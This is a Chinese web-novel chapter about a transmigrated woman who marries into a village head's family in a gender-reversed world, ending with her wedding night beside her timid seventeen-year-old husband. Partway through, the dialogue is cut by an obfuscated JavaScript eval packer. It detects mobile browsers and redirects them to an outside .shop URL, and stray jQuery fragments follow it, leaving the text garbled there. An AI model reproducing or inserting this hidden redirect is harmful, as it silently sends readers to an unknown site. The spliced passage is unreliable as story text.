“你算什么东西,我还用不着你这个浪荡.女来教训!”宿怀仁冷笑道。

    尤夫郎也不哭了,把内斗放一边,决心一致对外:“要不是你勾引我家青儿,带坏他,偷情偷家里来,我和妻主也不会这样!”

    不知道为什么他们就是死死咬定他们两个之间定有什么,虽然撞见他们同处一个浴桶里确实很容易令人误会。

    安日青有些头疼,她倒有些想念她在健身房撸铁的简单日常。

    “今日误闯进你家公子的闺房,实属意外,但我们之间从未发生过任何见不得人的事,如我所言有虚,就让天雷劈我,劈完我再劈我父母坟,父母坟劈完继续往上劈祖宗坟。”

    安日青心想着借她那蹲大牢的缺德血亲一用,没有半点不好意思,毕竟她也没撒谎,连坐这么多人只是为了让誓言看起来更有说服力,更代表了她此时时刻无比真诚的态度。

    “再来,我冲撞了你家公子一事无可争辩,但事情已然发生,我就断不会推却责任,只是若报到官府,势必会将此事闹大,众口铄金,一传十,十传百,把白的说成黑的,我和你家公子杖毙事小,累及你们宿家百年清誉事大啊!”

    “即便二位长辈今日私下处理了我俩,但若我失踪日久,我在镖局的那群结拜姐妹定会想方设法寻我来,我们姐妹十几人向来感情深厚,不是家人却胜似家人,”安日青编的那是一个情真意切,誓要动摇宿村长欲闭门杀人了事的心,“而她们又都是粗人一向冲动,难保她们不会为了找我大动干戈,到时捅漏了来,势必累及宿家百年清誉,您贵为一村之长,若是家丑外扬,不仅会影响您在村里的声望,还会耽搁令女的前程!”

    “为了不让在下一人之过累及宿家百年清誉,晚辈斗胆请问二位长辈,可有什么不用动干戈的和平解决办法?”

    宿村长似是被她一口一个“累及宿家百年清誉”打动,冷静沉思了片刻,挥手让尤夫郎带着儿子出去门外候着,安日青不放心再三叮嘱了宿小公子万万不要寻死,又好言请求尤夫郎在结果出来前不要再打骂他。

    待关上门来,堂屋里只余她和宿村长二人。

    “你一个外女闯入我儿闺房,共处一浴桶,已是将他清白毁去,如今唯一的解决办法就是名正言顺迎娶我儿。”宿怀仁不再如方才那般疾言厉色,咄咄逼人。

    “不过,我宿怀仁的儿子可不是什么人都可以娶的?我还得看你有无资格。”

    果然只有这个办法了吗?安日青轻叹了一口气,认真道,“只是这婚姻大事,是否要问一下令郎的主意?”

    “不必问他,婚姻大事本就是母亲之命,媒妁之言。”

    宿村长端起白瓷杯,轻呷了一口茶水,又道,“你姓甚名谁?家住何方?家中几口人,有何亲眷?素日以何为营生?家中田产、屋舍几何,日常度日可无忧?可有婚配?”

    冷不丁被一连串问题砸来,安日青迅速在脑中搜集了一下被闺蜜拉着看过的古装剧,不慌不忙现编了一个。

    “晚辈姓安名日青,双亲在我十六岁那年相继辞世,家中亲眷只余二位姐姐,尚无婚配,我与姐姐们素日以押镖为生,原小有积蓄,但不幸前年故里遭大水,还与二位姐姐走散,逃灾路上更是耗尽所有,身无长物,孑然一身。”

    “嘻嘻,”000好奇发问,“主人为什么要说自己有二位姐姐?”

    安日青还有些不适应,有东西在她脑海中说话,尤其是说前还要笑两声,鬼模鬼样的,但她还是耐心解答了000的困惑,“哦,怕她欺我家里没人。”

    宿村长顿了顿,眉头轻皱,又问:“学问几何,可会读与写?可曾沾染个什么恶习?”

    “少时曾入私塾就读数载,粗通文墨,会识文写字,宿村长若不信,可尽管考我一番。”安日青面上端的是一副胸有成竹,心里想的却是面前人要敢考她诗文,反正这儿是架空背景,她就当中学默背,唐诗宋词元曲,上下五千年文化,源远流长,博大精深,总有一首是她宿村长也欲罢不能的,若是问及来处,大方答老祖宗之作便是,她不会写还不会背吗。

    至于恶习什么的,她向来贯彻健康生活,那些下班的时间里不是健身就是在健身的路上,黄赌毒撞见是要举报的,酒难喝是不沾的,饮品只喝现榨果汁豆浆牛奶枸杞红枣茶。

    她很是郑重地说:“在家时,父母和姐姐们常常训诫于我,做人当正心立德,信义为本,务实勤勉,肩有担当,远赌、节酒、戒色,我一直奉为至理,不敢稍加违背。”

    宿村长微微颔首:“知礼明义,勤勉自持,可见家教不凡,实令人赞许。”

    但话锋又一转,“只是成亲须有三书六礼,三书为聘书、礼书、迎书,六礼有纳采、问名、纳吉、纳征、请期、亲迎。”

    “纵使我儿不成器,但毕竟是我十月怀胎的亲儿,你如今流离失所,身无长物,如何让我放心把他交给你?”

    安日青早有对策,拱手作揖,句句恳切:“晚辈自知如今家道败落,不敢言求娶,但倘若村长不弃,晚辈愿立约入赘门下,不需府上分毫聘资,一应日用劳作,我自担当!圣贤有云‘穷且益坚,不坠青云之志’,待晚辈他日闯出光景、挣下家业,定以黄金百两作聘改赘为明媒正娶令郎!但侍奉二老的本心,从始至终不变!”

    宿怀仁轻轻摩挲杯身揣摩着面前人的话,立约不取分毫聘礼入赘为女,对她来说已是百利,且她能看出此女不凡,绝非池中之物,若真假以时日得道高升,奉以黄金百两作聘改赘,那更是利上加利,她断没有拒绝的道理,若真打死她儿,那才真是百害而无一利的下下策。

    她自知亲儿怯懦木讷,加上年岁已大,便是清白尚在,也难议下什么好亲事,如今阴差阳错与此女结缘,就当是命运使然又有何不可。

    “闻你一番言,身世境遇着实令人怜惜。颠沛流离却仍心怀志气,难能可贵,令人赞许。你不愿索取聘礼,足见心性正直,料想不是那等忘恩负义之人!你既诚心相投,所言条件我自一一应允,愿你今后勤勉度日,恪守本心!”

    外头父子二人皆站立不安,忽见门从里打开来,同时望过去,心更是一下子提到了嗓子眼,眼里的紧张和害怕藏不住一点:“……”

    宿怀仁平静吩咐道:“夫郎,快去把村里的张秀才请来。”

    尤夫郎看了身侧的脸色惨白的儿子一眼,小心翼翼问道:“妻主,你打算怎么处置青儿?”

    安日青笑着接过来话:“阿爹,方才我向母亲请求入赘,母亲答应了。”

    宿怀仁没有反驳,反心情愉快地催促尤夫郎:“你快去请张秀才来立婚约。”

    得知儿子无事,尤夫郎松了一口气,忙应了声好,快步出门去。

    一个穿着长衫的中年女人来到家里,安日青和宿怀仁一人一句,婚约不一会便立好了,然后各自在婚书上画押签字。

    婚事从简,宿村长说选一个吉日敬茶,再由他领着安日青挨家送点喜饼告知村里人此喜事,顺便认下人,安日青当晚从客房搬到宿青房里,算是圆房。

    夜里,安日青和宿青两个人坐在木床边上,两个人都没有动作。

    安日青面上平静,实则内心复杂,她怎么就成亲了呢?她对她在书世界里成亲一事还有些没有实感。

    “恭喜主人在本世界里大婚!”000顶着深“V”嘴抹了抹并不存在的泪,“没想到有生之年还能看到主人成亲的一天

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17679922|207649||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,000真的很欣慰!嘻嘻~”

    说得好像跟了她几十年了一样,安日青内心无语,还有那末尾的笑声,当真不是在幸灾乐祸吗?

    “呵呵,我有今日,还不是拜你所赐~”安日青内心冷笑,“要不是你把我传送到人家浴桶里,怎会变成这样?”

    “000没主人想得那么好啦~”面板上突然开始冒小花,“只要主人开心,一切就都是值得的,嘻嘻~”

    “不是,你哪只眼睛看见我开心了?”

    没有爱情的婚姻是不会幸福的!

    要是吃饱没事干就去睡觉啊,做啥子非要来祸害她和宿小公子。

    “妻……妻主,”身侧的人突然小声开口,“你累了吗,要不要我去帮你端洗脚水过来?”

    “我自己来吧。”安日青站起来。

    自去灶屋端了一盆水回来,还帮宿青带了一盆,宿青有些诚惶诚恐。

    她刚在床边坐下,旁边立着的宿青立就跪了下来要帮她脱鞋和洗脚,吓了安日青一大跳,差点没踢翻水盆,当即果断拒绝。

    宿青在她脚边跪得很是端正,头深深低着,似是不敢抬头看她,用力抿了抿唇,努力争取道:“妻主,让我来吧,我是男人,这是我该做的……”

    他不知道妻主为什么不让他服侍,是不是妻主嫌他貌丑,还是觉得他会笨手笨脚,宿青用力咬着唇,心里很是慌张,“若是妻主不想看见我的脸,我可以遮上的……而且我……我有仔细跟阿爹学过如何给妻主洗脚……”

    明明男训里就是这样写的,明明阿爹就是这样服侍母亲的,母亲虽不喜阿爹,但从未斥责过阿爹一句服侍得不行。

    “若是我让妻主不满,还请妻主尽管责罚……”

    安日青只觉得有一点窒息,站在宿青的位置,明明是她把他害成这样的,被爹娘误会差点打死,完全没有问过他的意见就把他单方面“嫁”给她这个陌生人,宿青本应怪她恨她,不仅没有,还从始至终都觉得像是自己做错了一样。

    虽然得利的是她,但她并不觉得舒服。

    “不用,不是你的错,只是我习惯自己来。”

    安日青把人从地上拉起来,又轻声说:“以后不要随便下跪,会折寿的。”

    “你希望妻主折寿吗?”她笑问了一个于她而言无伤大雅的问题。

    宿青闻言连忙摇了摇头。

    在他的男训里跪妻主是天经地义,是美德,他不明白这样做为什么会折寿,但他还是不希望妻主折寿,妻主是他的天和地。

    安日青劝了好一会,宿青才敢在她旁边坐下来。

    安日青瞧了一眼身侧弯着腰将裤脚卷到膝盖上的人,两条腿长年藏在裤里,又细又白,因此青紫的膝盖格外明显,还有前两天被打的那边脸,此时也仍留有一点红痕,可见尤夫郎下手多不留情。

    “脸还疼吗?”

    宿青低着头愣了一下,继而伸手摸了摸脸,这才小心翼翼轻声答她:“脸不疼,多谢妻主关心。”

    “膝盖看着有点严重,可有上什么药?”

    宿青捂着那边脸轻摇了摇头。

    “抱歉,都是我害你变成这样的。”安日青有些愧疚。

    “妻主,我没事的,”宿青看起来有些受宠若惊,忙摆了摆手,“不是妻主的错,是我的膝盖太不经跪了。”

    她闻言轻叹了一口气,更愧疚了好吧。

    安日青想起什么,抬起头:“宿青,能问一下你的年岁吗?”

    “回妻主,我十七了。”宿青有些紧张,怕妻主嫌他年纪大。

    然而安日青什么也没说,只是慢慢弯下腰把脸埋进手心里。

    她可真是罪大恶极啊。